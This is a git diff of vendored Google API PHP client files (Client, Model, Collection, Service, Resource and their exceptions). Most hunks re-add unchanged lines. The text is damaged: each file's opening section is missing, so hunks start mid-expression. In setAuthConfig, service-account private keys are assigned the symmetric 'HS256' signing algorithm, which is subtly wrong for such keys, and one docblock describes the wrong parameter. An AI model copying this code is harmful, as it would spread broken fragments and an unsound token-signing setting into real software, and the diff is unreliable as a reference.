$this->config['openid.realm'] = $realm; + } + + /** + * If this is provided with the value true, and the authorization request is + * granted, the authorization will include any previous authorizations + * granted to this user/application combination for other scopes. + * @param $include boolean - the URL-space to use. + */ + public function setIncludeGrantedScopes($include) + { + $this->config['include_granted_scopes'] = $include; + } + + /** + * sets function to be called when an access token is fetched + * @param callable $tokenCallback - function ($cacheKey, $accessToken) + */ + public function setTokenCallback(callable $tokenCallback) + { + $this->config['token_callback'] = $tokenCallback; + } + + /** + * Revoke an OAuth2 access token or refresh token. This method will revoke the current access + * token, if a token isn't provided. + * + * @param string|array|null $token The token (access token or a refresh token) that should be revoked. + * @return boolean Returns True if the revocation was successful, otherwise False. + */ + public function revokeToken($token = null) + { + $tokenRevoker = new Revoke($this->getHttpClient()); + + return $tokenRevoker->revokeToken($token ?: $this->getAccessToken()); + } + + /** + * Verify an id_token. This method will verify the current id_token, if one + * isn't provided. + * + * @throws LogicException If no token was provided and no token was set using `setAccessToken`. + * @throws UnexpectedValueException If the token is not a valid JWT. + * @param string|null $idToken The token (id_token) that should be verified. + * @return array|false Returns the token payload as an array if the verification was + * successful, false otherwise. + */ + public function verifyIdToken($idToken = null) + { + $tokenVerifier = new Verify( + $this->getHttpClient(), + $this->getCache(), + $this->config['jwt'] + ); + + if (null === $idToken) { + $token = $this->getAccessToken(); + if (!isset($token['id_token'])) { + throw new LogicException( + 'id_token must be passed in or set as part of setAccessToken' + ); + } + $idToken = $token['id_token']; + } + + return $tokenVerifier->verifyIdToken( + $idToken, + $this->getClientId() + ); + } + + /** + * Set the scopes to be requested. Must be called before createAuthUrl(). + * Will remove any previously configured scopes. + * @param string|array $scope_or_scopes, ie: + * array( + * 'https://www.googleapis.com/auth/plus.login', + * 'https://www.googleapis.com/auth/moderator' + * ); + */ + public function setScopes($scope_or_scopes) + { + $this->requestedScopes = array(); + $this->addScope($scope_or_scopes); + } + + /** + * This functions adds a scope to be requested as part of the OAuth2.0 flow. + * Will append any scopes not previously requested to the scope parameter. + * A single string will be treated as a scope to request. An array of strings + * will each be appended. + * @param $scope_or_scopes string|array e.g. "profile" + */ + public function addScope($scope_or_scopes) + { + if (is_string($scope_or_scopes) && !in_array($scope_or_scopes, $this->requestedScopes)) { + $this->requestedScopes[] = $scope_or_scopes; + } else if (is_array($scope_or_scopes)) { + foreach ($scope_or_scopes as $scope) { + $this->addScope($scope); + } + } + } + + /** + * Returns the list of scopes requested by the client + * @return array the list of scopes + * + */ + public function getScopes() + { + return $this->requestedScopes; + } + + /** + * @return string|null + * @visible For Testing + */ + public function prepareScopes() + { + if (empty($this->requestedScopes)) { + return null; + } + + return implode(' ', $this->requestedScopes); + } + + /** + * Helper method to execute deferred HTTP requests. + * + * @param $request RequestInterface|\Google\Http\Batch + * @param string $expectedClass + * @throws \Google\Exception + * @return mixed|$expectedClass|ResponseInterface + */ + public function execute(RequestInterface $request, $expectedClass = null) + { + $request = $request + ->withHeader( + 'User-Agent', + sprintf( + '%s %s%s', + $this->config['application_name'], + self::USER_AGENT_SUFFIX, + $this->getLibraryVersion() + ) + ) + ->withHeader( + 'x-goog-api-client', + sprintf( + 'gl-php/%s gdcl/%s', + phpversion(), + $this->getLibraryVersion() + ) + ); + + if ($this->config['api_format_v2']) { + $request = $request->withHeader( + 'X-GOOG-API-FORMAT-VERSION', + 2 + ); + } + + // call the authorize method + // this is where most of the grunt work is done + $http = $this->authorize(); + + return REST::execute( + $http, + $request, + $expectedClass, + $this->config['retry'], + $this->config['retry_map'] + ); + } + + /** + * Declare whether batch calls should be used. This may increase throughput + * by making multiple requests in one connection. + * + * @param boolean $useBatch True if the batch support should + * be enabled. Defaults to False. + */ + public function setUseBatch($useBatch) + { + // This is actually an alias for setDefer. + $this->setDefer($useBatch); + } + + /** + * Are we running in Google AppEngine? + * return bool + */ + public function isAppEngine() + { + return (isset($_SERVER['SERVER_SOFTWARE']) && + strpos($_SERVER['SERVER_SOFTWARE'], 'Google App Engine') !== false); + } + + public function setConfig($name, $value) + { + $this->config[$name] = $value; + } + + public function getConfig($name, $default = null) + { + return isset($this->config[$name]) ? $this->config[$name] : $default; + } + + /** + * For backwards compatibility + * alias for setAuthConfig + * + * @param string $file the configuration file + * @throws \Google\Exception + * @deprecated + */ + public function setAuthConfigFile($file) + { + $this->setAuthConfig($file); + } + + /** + * Set the auth config from new or deprecated JSON config. + * This structure should match the file downloaded from + * the "Download JSON" button on in the Google Developer + * Console. + * @param string|array $config the configuration json + * @throws \Google\Exception + */ + public function setAuthConfig($config) + { + if (is_string($config)) { + if (!file_exists($config)) { + throw new InvalidArgumentException(sprintf('file "%s" does not exist', $config)); + } + + $json = file_get_contents($config); + + if (!$config = json_decode($json, true)) { + throw new LogicException('invalid json for auth config'); + } + } + + $key = isset($config['installed']) ? 'installed' : 'web'; + if (isset($config['type']) && $config['type'] == 'service_account') { + // application default credentials + $this->useApplicationDefaultCredentials(); + + // set the information from the config + $this->setClientId($config['client_id']); + $this->config['client_email'] = $config['client_email']; + $this->config['signing_key'] = $config['private_key']; + $this->config['signing_algorithm'] = 'HS256'; + } elseif (isset($config[$key])) { + // old-style + $this->setClientId($config[$key]['client_id']); + $this->setClientSecret($config[$key]['client_secret']); + if (isset($config[$key]['redirect_uris'])) { + $this->setRedirectUri($config[$key]['redirect_uris'][0]); + } + } else { + // new-style + $this->setClientId($config['client_id']); + $this->setClientSecret($config['client_secret']); + if (isset($config['redirect_uris'])) { + $this->setRedirectUri($config['redirect_uris'][0]); + } + } + } + + /** + * Use when the service account has been delegated domain wide access. + * + * @param string $subject an email address account to impersonate + */ + public function setSubject($subject) + { + $this->config['subject'] = $subject; + } + + /** + * Declare whether making API calls should make the call immediately, or + * return a request which can be called with ->execute(); + * + * @param boolean $defer True if calls should not be executed right away. + */ + public function setDefer($defer) + { + $this->deferExecution = $defer; + } + + /** + * Whether or not to return raw requests + * @return boolean + */ + public function shouldDefer() + { + return $this->deferExecution; + } + + /** + * @return OAuth2 implementation + */ + public function getOAuth2Service() + { + if (!isset($this->auth)) { + $this->auth = $this->createOAuth2Service(); + } + + return $this->auth; + } + + /** + * create a default google auth object + */ + protected function createOAuth2Service() + { + $auth = new OAuth2( + [ + 'clientId' => $this->getClientId(), + 'clientSecret' => $this->getClientSecret(), + 'authorizationUri' => self::OAUTH2_AUTH_URL, + 'tokenCredentialUri' => self::OAUTH2_TOKEN_URI, + 'redirectUri' => $this->getRedirectUri(), + 'issuer' => $this->config['client_id'], + 'signingKey' => $this->config['signing_key'], + 'signingAlgorithm' => $this->config['signing_algorithm'], + ] + ); + + return $auth; + } + + /** + * Set the Cache object + * @param CacheItemPoolInterface $cache + */ + public function setCache(CacheItemPoolInterface $cache) + { + $this->cache = $cache; + } + + /** + * @return CacheItemPoolInterface + */ + public function getCache() + { + if (!$this->cache) { + $this->cache = $this->createDefaultCache(); + } + + return $this->cache; + } + + /** + * @param array $cacheConfig + */ + public function setCacheConfig(array $cacheConfig) + { + $this->config['cache_config'] = $cacheConfig; + } + + /** + * Set the Logger object + * @param LoggerInterface $logger + */ + public function setLogger(LoggerInterface $logger) + { + $this->logger = $logger; + } + + /** + * @return LoggerInterface + */ + public function getLogger() + { + if (!isset($this->logger)) { + $this->logger = $this->createDefaultLogger(); + } + + return $this->logger; + } + + protected function createDefaultLogger() + { + $logger = new Logger('google-api-php-client'); + if ($this->isAppEngine()) { + $handler = new MonologSyslogHandler('app', LOG_USER, Logger::NOTICE); + } else { + $handler = new MonologStreamHandler('php://stderr', Logger::NOTICE); + } + $logger->pushHandler($handler); + + return $logger; + } + + protected function createDefaultCache() + { + return new MemoryCacheItemPool; + } + + /** + * Set the Http Client object + * @param ClientInterface $http + */ + public function setHttpClient(ClientInterface $http) + { + $this->http = $http; + } + + /** + * @return ClientInterface + */ + public function getHttpClient() + { + if (null === $this->http) { + $this->http = $this->createDefaultHttpClient(); + } + + return $this->http; + } + + /** + * Set the API format version. + * + * `true` will use V2, which may return more useful error messages. + * + * @param bool $value + */ + public function setApiFormatV2($value) + { + $this->config['api_format_v2'] = (bool) $value; + } + + protected function createDefaultHttpClient() + { + $guzzleVersion = null; + if (defined('\GuzzleHttp\ClientInterface::MAJOR_VERSION')) { + $guzzleVersion = ClientInterface::MAJOR_VERSION; + } elseif (defined('\GuzzleHttp\ClientInterface::VERSION')) { + $guzzleVersion = (int)substr(ClientInterface::VERSION, 0, 1); + } + + if (5 === $guzzleVersion) { + $options = [ + 'base_url' => $this->config['base_path'], + 'defaults' => ['exceptions' => false], + ]; + if ($this->isAppEngine()) { + // set StreamHandler on AppEngine by default + $options['handler'] = new StreamHandler(); + $options['defaults']['verify'] = '/etc/ca-certificates.crt'; + } + } elseif (6 === $guzzleVersion || 7 === $guzzleVersion) { + // guzzle 6 or 7 + $options = [ + 'base_uri' => $this->config['base_path'], + 'http_errors' => false, + ]; + } else { + throw new LogicException('Could not find supported version of Guzzle.'); + } + + return new GuzzleClient($options); + } + + /** + * @return FetchAuthTokenCache + */ + private function createApplicationDefaultCredentials() + { + $scopes = $this->prepareScopes(); + $sub = $this->config['subject']; + $signingKey = $this->config['signing_key']; + + // create credentials using values supplied in setAuthConfig + if ($signingKey) { + $serviceAccountCredentials = array( + 'client_id' => $this->config['client_id'], + 'client_email' => $this->config['client_email'], + 'private_key' => $signingKey, + 'type' => 'service_account', + 'quota_project_id' => $this->config['quota_project'], + ); + $credentials = CredentialsLoader::makeCredentials( + $scopes, + $serviceAccountCredentials + ); + } else { + // When $sub is provided, we cannot pass cache classes to ::getCredentials + // because FetchAuthTokenCache::setSub does not exist. + // The result is when $sub is provided, calls to ::onGce are not cached. + $credentials = ApplicationDefaultCredentials::getCredentials( + $scopes, + null, + $sub ? null : $this->config['cache_config'], + $sub ? null : $this->getCache(), + $this->config['quota_project'] + ); + } + + // for service account domain-wide authority (impersonating a user) + // @see https://developers.google.com/identity/protocols/OAuth2ServiceAccount + if ($sub) { + if (!$credentials instanceof ServiceAccountCredentials) { + throw new DomainException('domain-wide authority requires service account credentials'); + } + + $credentials->setSub($sub); + } + + // If we are not using FetchAuthTokenCache yet, create it now + if (!$credentials instanceof FetchAuthTokenCache) { + $credentials = new FetchAuthTokenCache( + $credentials, + $this->config['cache_config'], + $this->getCache() + ); + } + return $credentials; + } + + protected function getAuthHandler() + { + // Be very careful using the cache, as the underlying auth library's cache + // implementation is naive, and the cache keys do not account for user + // sessions. + // + // @see https://github.com/google/google-api-php-client/issues/821 + return AuthHandlerFactory::build( + $this->getCache(), + $this->config['cache_config'] + ); + } + + private function createUserRefreshCredentials($scope, $refreshToken) + { + $creds = array_filter( + array( + 'client_id' => $this->getClientId(), + 'client_secret' => $this->getClientSecret(), + 'refresh_token' => $refreshToken, + ) + ); + + return new UserRefreshCredentials($scope, $creds); + } +} diff --git a/vendor/google/apiclient/src/Collection.php b/vendor/google/apiclient/src/Collection.php index 68b5045513..0417dbc9a8 100644 --- a/vendor/google/apiclient/src/Collection.php +++ b/vendor/google/apiclient/src/Collection.php @@ -1,104 +1,104 @@ -{$this->collection_key}) - && is_array($this->{$this->collection_key})) { - reset($this->{$this->collection_key}); - } - } - - #[\ReturnTypeWillChange] - public function current() - { - $this->coerceType($this->key()); - if (is_array($this->{$this->collection_key})) { - return current($this->{$this->collection_key}); - } - } - - #[\ReturnTypeWillChange] - public function key() - { - if (isset($this->{$this->collection_key}) - && is_array($this->{$this->collection_key})) { - return key($this->{$this->collection_key}); - } - } - - #[\ReturnTypeWillChange] - public function next() - { - return next($this->{$this->collection_key}); - } - - #[\ReturnTypeWillChange] - public function valid() - { - $key = $this->key(); - return $key !== null && $key !== false; - } - - #[\ReturnTypeWillChange] - public function count() - { - if (!isset($this->{$this->collection_key})) { - return 0; - } - return count($this->{$this->collection_key}); - } - - public function offsetExists($offset) - { - if (!is_numeric($offset)) { - return parent::offsetExists($offset); - } - return isset($this->{$this->collection_key}[$offset]); - } - - public function offsetGet($offset) - { - if (!is_numeric($offset)) { - return parent::offsetGet($offset); - } - $this->coerceType($offset); - return $this->{$this->collection_key}[$offset]; - } - - public function offsetSet($offset, $value) - { - if (!is_numeric($offset)) { - parent::offsetSet($offset, $value); - } - $this->{$this->collection_key}[$offset] = $value; - } - - public function offsetUnset($offset) - { - if (!is_numeric($offset)) { - parent::offsetUnset($offset); - } - unset($this->{$this->collection_key}[$offset]); - } - - private function coerceType($offset) - { - $keyType = $this->keyType($this->collection_key); - if ($keyType && !is_object($this->{$this->collection_key}[$offset])) { - $this->{$this->collection_key}[$offset] = - new $keyType($this->{$this->collection_key}[$offset]); - } - } -} +{$this->collection_key}) + && is_array($this->{$this->collection_key})) { + reset($this->{$this->collection_key}); + } + } + + #[\ReturnTypeWillChange] + public function current() + { + $this->coerceType($this->key()); + if (is_array($this->{$this->collection_key})) { + return current($this->{$this->collection_key}); + } + } + + #[\ReturnTypeWillChange] + public function key() + { + if (isset($this->{$this->collection_key}) + && is_array($this->{$this->collection_key})) { + return key($this->{$this->collection_key}); + } + } + + #[\ReturnTypeWillChange] + public function next() + { + return next($this->{$this->collection_key}); + } + + #[\ReturnTypeWillChange] + public function valid() + { + $key = $this->key(); + return $key !== null && $key !== false; + } + + #[\ReturnTypeWillChange] + public function count() + { + if (!isset($this->{$this->collection_key})) { + return 0; + } + return count($this->{$this->collection_key}); + } + + public function offsetExists($offset) + { + if (!is_numeric($offset)) { + return parent::offsetExists($offset); + } + return isset($this->{$this->collection_key}[$offset]); + } + + public function offsetGet($offset) + { + if (!is_numeric($offset)) { + return parent::offsetGet($offset); + } + $this->coerceType($offset); + return $this->{$this->collection_key}[$offset]; + } + + public function offsetSet($offset, $value) + { + if (!is_numeric($offset)) { + parent::offsetSet($offset, $value); + } + $this->{$this->collection_key}[$offset] = $value; + } + + public function offsetUnset($offset) + { + if (!is_numeric($offset)) { + parent::offsetUnset($offset); + } + unset($this->{$this->collection_key}[$offset]); + } + + private function coerceType($offset) + { + $keyType = $this->keyType($this->collection_key); + if ($keyType && !is_object($this->{$this->collection_key}[$offset])) { + $this->{$this->collection_key}[$offset] = + new $keyType($this->{$this->collection_key}[$offset]); + } + } +} diff --git a/vendor/google/apiclient/src/Exception.php b/vendor/google/apiclient/src/Exception.php index 49ccc5dbf4..de4508d92b 100644 --- a/vendor/google/apiclient/src/Exception.php +++ b/vendor/google/apiclient/src/Exception.php @@ -1,24 +1,24 @@ -mapTypes($array); - } - $this->gapiInit(); - } - - /** - * Getter that handles passthrough access to the data array, and lazy object creation. - * @param string $key Property name. - * @return mixed The value if any, or null. - */ - public function __get($key) - { - $keyType = $this->keyType($key); - $keyDataType = $this->dataType($key); - if ($keyType && !isset($this->processed[$key])) { - if (isset($this->modelData[$key])) { - $val = $this->modelData[$key]; - } elseif ($keyDataType == 'array' || $keyDataType == 'map') { - $val = array(); - } else { - $val = null; - } - - if ($this->isAssociativeArray($val)) { - if ($keyDataType && 'map' == $keyDataType) { - foreach ($val as $arrayKey => $arrayItem) { - $this->modelData[$key][$arrayKey] = - new $keyType($arrayItem); - } - } else { - $this->modelData[$key] = new $keyType($val); - } - } else if (is_array($val)) { - $arrayObject = array(); - foreach ($val as $arrayIndex => $arrayItem) { - $arrayObject[$arrayIndex] = new $keyType($arrayItem); - } - $this->modelData[$key] = $arrayObject; - } - $this->processed[$key] = true; - } - - return isset($this->modelData[$key]) ? $this->modelData[$key] : null; - } - - /** - * Initialize this object's properties from an array. - * - * @param array $array Used to seed this object's properties. - * @return void - */ - protected function mapTypes($array) - { - // Hard initialise simple types, lazy load more complex ones. - foreach ($array as $key => $val) { - if ($keyType = $this->keyType($key)) { - $dataType = $this->dataType($key); - if ($dataType == 'array' || $dataType == 'map') { - $this->$key = array(); - foreach ($val as $itemKey => $itemVal) { - if ($itemVal instanceof $keyType) { - $this->{$key}[$itemKey] = $itemVal; - } else { - $this->{$key}[$itemKey] = new $keyType($itemVal); - } - } - } elseif ($val instanceof $keyType) { - $this->$key = $val; - } else { - $this->$key = new $keyType($val); - } - unset($array[$key]); - } elseif (property_exists($this, $key)) { - $this->$key = $val; - unset($array[$key]); - } elseif (property_exists($this, $camelKey = $this->camelCase($key))) { - // This checks if property exists as camelCase, leaving it in array as snake_case - // in case of backwards compatibility issues. - $this->$camelKey = $val; - } - } - $this->modelData = $array; - } - - /** - * Blank initialiser to be used in subclasses to do post-construction initialisation - this - * avoids the need for subclasses to have to implement the variadics handling in their - * constructors. - */ - protected function gapiInit() - { - return; - } - - /** - * Create a simplified object suitable for straightforward - * conversion to JSON. This is relatively expensive - * due to the usage of reflection, but shouldn't be called - * a whole lot, and is the most straightforward way to filter. - */ - public function toSimpleObject() - { - $object = new stdClass(); - - // Process all other data. - foreach ($this->modelData as $key => $val) { - $result = $this->getSimpleValue($val); - if ($result !== null) { - $object->$key = $this->nullPlaceholderCheck($result); - } - } - - // Process all public properties. - $reflect = new ReflectionObject($this); - $props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC); - foreach ($props as $member) { - $name = $member->getName(); - $result = $this->getSimpleValue($this->$name); - if ($result !== null) { - $name = $this->getMappedName($name); - $object->$name = $this->nullPlaceholderCheck($result); - } - } - - return $object; - } - - /** - * Handle different types of values, primarily - * other objects and map and array data types. - */ - private function getSimpleValue($value) - { - if ($value instanceof Model) { - return $value->toSimpleObject(); - } else if (is_array($value)) { - $return = array(); - foreach ($value as $key => $a_value) { - $a_value = $this->getSimpleValue($a_value); - if ($a_value !== null) { - $key = $this->getMappedName($key); - $return[$key] = $this->nullPlaceholderCheck($a_value); - } - } - return $return; - } - return $value; - } - - /** - * Check whether the value is the null placeholder and return true null. - */ - private function nullPlaceholderCheck($value) - { - if ($value === self::NULL_VALUE) { - return null; - } - return $value; - } - - /** - * If there is an internal name mapping, use that. - */ - private function getMappedName($key) - { - if (isset($this->internal_gapi_mappings, $this->internal_gapi_mappings[$key])) { - $key = $this->internal_gapi_mappings[$key]; - } - return $key; - } - - /** - * Returns true only if the array is associative. - * @param array $array - * @return bool True if the array is associative. - */ - protected function isAssociativeArray($array) - { - if (!is_array($array)) { - return false; - } - $keys = array_keys($array); - foreach ($keys as $key) { - if (is_string($key)) { - return true; - } - } - return false; - } - - /** - * Verify if $obj is an array. - * @throws \Google\Exception Thrown if $obj isn't an array. - * @param array $obj Items that should be validated. - * @param string $method Method expecting an array as an argument. - */ - public function assertIsArray($obj, $method) - { - if ($obj && !is_array($obj)) { - throw new GoogleException( - "Incorrect parameter type passed to $method(). Expected an array." - ); - } - } - - #[\ReturnTypeWillChange] - public function offsetExists($offset) - { - return isset($this->$offset) || isset($this->modelData[$offset]); - } - - #[\ReturnTypeWillChange] - public function offsetGet($offset) - { - return isset($this->$offset) ? - $this->$offset : - $this->__get($offset); - } - - #[\ReturnTypeWillChange] - public function offsetSet($offset, $value) - { - if (property_exists($this, $offset)) { - $this->$offset = $value; - } else { - $this->modelData[$offset] = $value; - $this->processed[$offset] = true; - } - } - - #[\ReturnTypeWillChange] - public function offsetUnset($offset) - { - unset($this->modelData[$offset]); - } - - protected function keyType($key) - { - $keyType = $key . "Type"; - - // ensure keyType is a valid class - if (property_exists($this, $keyType) && class_exists($this->$keyType)) { - return $this->$keyType; - } - } - - protected function dataType($key) - { - $dataType = $key . "DataType"; - - if (property_exists($this, $dataType)) { - return $this->$dataType; - } - } - - public function __isset($key) - { - return isset($this->modelData[$key]); - } - - public function __unset($key) - { - unset($this->modelData[$key]); - } - - /** - * Convert a string to camelCase - * @param string $value - * @return string - */ - private function camelCase($value) - { - $value = ucwords(str_replace(array('-', '_'), ' ', $value)); - $value = str_replace(' ', '', $value); - $value[0] = strtolower($value[0]); - return $value; - } -} +mapTypes($array); + } + $this->gapiInit(); + } + + /** + * Getter that handles passthrough access to the data array, and lazy object creation. + * @param string $key Property name. + * @return mixed The value if any, or null. + */ + public function __get($key) + { + $keyType = $this->keyType($key); + $keyDataType = $this->dataType($key); + if ($keyType && !isset($this->processed[$key])) { + if (isset($this->modelData[$key])) { + $val = $this->modelData[$key]; + } elseif ($keyDataType == 'array' || $keyDataType == 'map') { + $val = array(); + } else { + $val = null; + } + + if ($this->isAssociativeArray($val)) { + if ($keyDataType && 'map' == $keyDataType) { + foreach ($val as $arrayKey => $arrayItem) { + $this->modelData[$key][$arrayKey] = + new $keyType($arrayItem); + } + } else { + $this->modelData[$key] = new $keyType($val); + } + } else if (is_array($val)) { + $arrayObject = array(); + foreach ($val as $arrayIndex => $arrayItem) { + $arrayObject[$arrayIndex] = new $keyType($arrayItem); + } + $this->modelData[$key] = $arrayObject; + } + $this->processed[$key] = true; + } + + return isset($this->modelData[$key]) ? $this->modelData[$key] : null; + } + + /** + * Initialize this object's properties from an array. + * + * @param array $array Used to seed this object's properties. + * @return void + */ + protected function mapTypes($array) + { + // Hard initialise simple types, lazy load more complex ones. + foreach ($array as $key => $val) { + if ($keyType = $this->keyType($key)) { + $dataType = $this->dataType($key); + if ($dataType == 'array' || $dataType == 'map') { + $this->$key = array(); + foreach ($val as $itemKey => $itemVal) { + if ($itemVal instanceof $keyType) { + $this->{$key}[$itemKey] = $itemVal; + } else { + $this->{$key}[$itemKey] = new $keyType($itemVal); + } + } + } elseif ($val instanceof $keyType) { + $this->$key = $val; + } else { + $this->$key = new $keyType($val); + } + unset($array[$key]); + } elseif (property_exists($this, $key)) { + $this->$key = $val; + unset($array[$key]); + } elseif (property_exists($this, $camelKey = $this->camelCase($key))) { + // This checks if property exists as camelCase, leaving it in array as snake_case + // in case of backwards compatibility issues. + $this->$camelKey = $val; + } + } + $this->modelData = $array; + } + + /** + * Blank initialiser to be used in subclasses to do post-construction initialisation - this + * avoids the need for subclasses to have to implement the variadics handling in their + * constructors. + */ + protected function gapiInit() + { + return; + } + + /** + * Create a simplified object suitable for straightforward + * conversion to JSON. This is relatively expensive + * due to the usage of reflection, but shouldn't be called + * a whole lot, and is the most straightforward way to filter. + */ + public function toSimpleObject() + { + $object = new stdClass(); + + // Process all other data. + foreach ($this->modelData as $key => $val) { + $result = $this->getSimpleValue($val); + if ($result !== null) { + $object->$key = $this->nullPlaceholderCheck($result); + } + } + + // Process all public properties. + $reflect = new ReflectionObject($this); + $props = $reflect->getProperties(ReflectionProperty::IS_PUBLIC); + foreach ($props as $member) { + $name = $member->getName(); + $result = $this->getSimpleValue($this->$name); + if ($result !== null) { + $name = $this->getMappedName($name); + $object->$name = $this->nullPlaceholderCheck($result); + } + } + + return $object; + } + + /** + * Handle different types of values, primarily + * other objects and map and array data types. + */ + private function getSimpleValue($value) + { + if ($value instanceof Model) { + return $value->toSimpleObject(); + } else if (is_array($value)) { + $return = array(); + foreach ($value as $key => $a_value) { + $a_value = $this->getSimpleValue($a_value); + if ($a_value !== null) { + $key = $this->getMappedName($key); + $return[$key] = $this->nullPlaceholderCheck($a_value); + } + } + return $return; + } + return $value; + } + + /** + * Check whether the value is the null placeholder and return true null. + */ + private function nullPlaceholderCheck($value) + { + if ($value === self::NULL_VALUE) { + return null; + } + return $value; + } + + /** + * If there is an internal name mapping, use that. + */ + private function getMappedName($key) + { + if (isset($this->internal_gapi_mappings, $this->internal_gapi_mappings[$key])) { + $key = $this->internal_gapi_mappings[$key]; + } + return $key; + } + + /** + * Returns true only if the array is associative. + * @param array $array + * @return bool True if the array is associative. + */ + protected function isAssociativeArray($array) + { + if (!is_array($array)) { + return false; + } + $keys = array_keys($array); + foreach ($keys as $key) { + if (is_string($key)) { + return true; + } + } + return false; + } + + /** + * Verify if $obj is an array. + * @throws \Google\Exception Thrown if $obj isn't an array. + * @param array $obj Items that should be validated. + * @param string $method Method expecting an array as an argument. + */ + public function assertIsArray($obj, $method) + { + if ($obj && !is_array($obj)) { + throw new GoogleException( + "Incorrect parameter type passed to $method(). Expected an array." + ); + } + } + + #[\ReturnTypeWillChange] + public function offsetExists($offset) + { + return isset($this->$offset) || isset($this->modelData[$offset]); + } + + #[\ReturnTypeWillChange] + public function offsetGet($offset) + { + return isset($this->$offset) ? + $this->$offset : + $this->__get($offset); + } + + #[\ReturnTypeWillChange] + public function offsetSet($offset, $value) + { + if (property_exists($this, $offset)) { + $this->$offset = $value; + } else { + $this->modelData[$offset] = $value; + $this->processed[$offset] = true; + } + } + + #[\ReturnTypeWillChange] + public function offsetUnset($offset) + { + unset($this->modelData[$offset]); + } + + protected function keyType($key) + { + $keyType = $key . "Type"; + + // ensure keyType is a valid class + if (property_exists($this, $keyType) && class_exists($this->$keyType)) { + return $this->$keyType; + } + } + + protected function dataType($key) + { + $dataType = $key . "DataType"; + + if (property_exists($this, $dataType)) { + return $this->$dataType; + } + } + + public function __isset($key) + { + return isset($this->modelData[$key]); + } + + public function __unset($key) + { + unset($this->modelData[$key]); + } + + /** + * Convert a string to camelCase + * @param string $value + * @return string + */ + private function camelCase($value) + { + $value = ucwords(str_replace(array('-', '_'), ' ', $value)); + $value = str_replace(' ', '', $value); + $value[0] = strtolower($value[0]); + return $value; + } +} diff --git a/vendor/google/apiclient/src/Service.php b/vendor/google/apiclient/src/Service.php index 563236a3f2..7d30524996 100644 --- a/vendor/google/apiclient/src/Service.php +++ b/vendor/google/apiclient/src/Service.php @@ -1,71 +1,71 @@ -client = $clientOrConfig; - } elseif (is_array($clientOrConfig)) { - $this->client = new Client($clientOrConfig ?: []); - } else { - $errorMessage = 'constructor must be array or instance of Google\Client'; - if (class_exists('TypeError')) { - throw new TypeError($errorMessage); - } - trigger_error($errorMessage, E_USER_ERROR); - } - } - - /** - * Return the associated Google\Client class. - * @return \Google\Client - */ - public function getClient() - { - return $this->client; - } - - /** - * Create a new HTTP Batch handler for this service - * - * @return Batch - */ - public function createBatch() - { - return new Batch( - $this->client, - false, - $this->rootUrl, - $this->batchPath - ); - } -} +client = $clientOrConfig; + } elseif (is_array($clientOrConfig)) { + $this->client = new Client($clientOrConfig ?: []); + } else { + $errorMessage = 'constructor must be array or instance of Google\Client'; + if (class_exists('TypeError')) { + throw new TypeError($errorMessage); + } + trigger_error($errorMessage, E_USER_ERROR); + } + } + + /** + * Return the associated Google\Client class. + * @return \Google\Client + */ + public function getClient() + { + return $this->client; + } + + /** + * Create a new HTTP Batch handler for this service + * + * @return Batch + */ + public function createBatch() + { + return new Batch( + $this->client, + false, + $this->rootUrl, + $this->batchPath + ); + } +} diff --git a/vendor/google/apiclient/src/Service/Exception.php b/vendor/google/apiclient/src/Service/Exception.php index c454e1cc02..3270ad7f30 100644 --- a/vendor/google/apiclient/src/Service/Exception.php +++ b/vendor/google/apiclient/src/Service/Exception.php @@ -1,71 +1,71 @@ -= 0) { - parent::__construct($message, $code, $previous); - } else { - parent::__construct($message, $code); - } - - $this->errors = $errors; - } - - /** - * An example of the possible errors returned. - * - * { - * "domain": "global", - * "reason": "authError", - * "message": "Invalid Credentials", - * "locationType": "header", - * "location": "Authorization", - * } - * - * @return [{string, string}] List of errors return in an HTTP response or []. - */ - public function getErrors() - { - return $this->errors; - } -} += 0) { + parent::__construct($message, $code, $previous); + } else { + parent::__construct($message, $code); + } + + $this->errors = $errors; + } + + /** + * An example of the possible errors returned. + * + * { + * "domain": "global", + * "reason": "authError", + * "message": "Invalid Credentials", + * "locationType": "header", + * "location": "Authorization", + * } + * + * @return [{string, string}] List of errors return in an HTTP response or []. + */ + public function getErrors() + { + return $this->errors; + } +} diff --git a/vendor/google/apiclient/src/Service/README.md b/vendor/google/apiclient/src/Service/README.md index 7a0bc8441d..0de4862065 100644 --- a/vendor/google/apiclient/src/Service/README.md +++ b/vendor/google/apiclient/src/Service/README.md @@ -1,5 +1,5 @@ -# Google API Client Services - -Google API Client Service classes have been moved to the -[google-api-php-client-services](https://github.com/google/google-api-php-client-services) -repository. +# Google API Client Services + +Google API Client Service classes have been moved to the +[google-api-php-client-services](https://github.com/google/google-api-php-client-services) +repository. diff --git a/vendor/google/apiclient/src/Service/Resource.php b/vendor/google/apiclient/src/Service/Resource.php index a58b34147c..09ebaa0899 100644 --- a/vendor/google/apiclient/src/Service/Resource.php +++ b/vendor/google/apiclient/src/Service/Resource.php @@ -1,308 +1,308 @@ - array('type' => 'string', 'location' => 'query'), - 'fields' => array('type' => 'string', 'location' => 'query'), - 'trace' => array('type' => 'string', 'location' => 'query'), - 'userIp' => array('type' => 'string', 'location' => 'query'), - 'quotaUser' => array('type' => 'string', 'location' => 'query'), - 'data' => array('type' => 'string', 'location' => 'body'), - 'mimeType' => array('type' => 'string', 'location' => 'header'), - 'uploadType' => array('type' => 'string', 'location' => 'query'), - 'mediaUpload' => array('type' => 'complex', 'location' => 'query'), - 'prettyPrint' => array('type' => 'string', 'location' => 'query'), - ); - - /** @var string $rootUrl */ - private $rootUrl; - - /** @var \Google\Client $client */ - private $client; - - /** @var string $serviceName */ - private $serviceName; - - /** @var string $servicePath */ - private $servicePath; - - /** @var string $resourceName */ - private $resourceName; - - /** @var array $methods */ - private $methods; - - public function __construct($service, $serviceName, $resourceName, $resource) - { - $this->rootUrl = $service->rootUrl; - $this->client = $service->getClient(); - $this->servicePath = $service->servicePath; - $this->serviceName = $serviceName; - $this->resourceName = $resourceName; - $this->methods = is_array($resource) && isset($resource['methods']) ? - $resource['methods'] : - array($resourceName => $resource); - } - - /** - * TODO: This function needs simplifying. - * @param $name - * @param $arguments - * @param $expectedClass - optional, the expected class name - * @return mixed|$expectedClass|ResponseInterface|RequestInterface - * @throws \Google\Exception - */ - public function call($name, $arguments, $expectedClass = null) - { - if (! isset($this->methods[$name])) { - $this->client->getLogger()->error( - 'Service method unknown', - array( - 'service' => $this->serviceName, - 'resource' => $this->resourceName, - 'method' => $name - ) - ); - - throw new GoogleException( - "Unknown function: " . - "{$this->serviceName}->{$this->resourceName}->{$name}()" - ); - } - $method = $this->methods[$name]; - $parameters = $arguments[0]; - 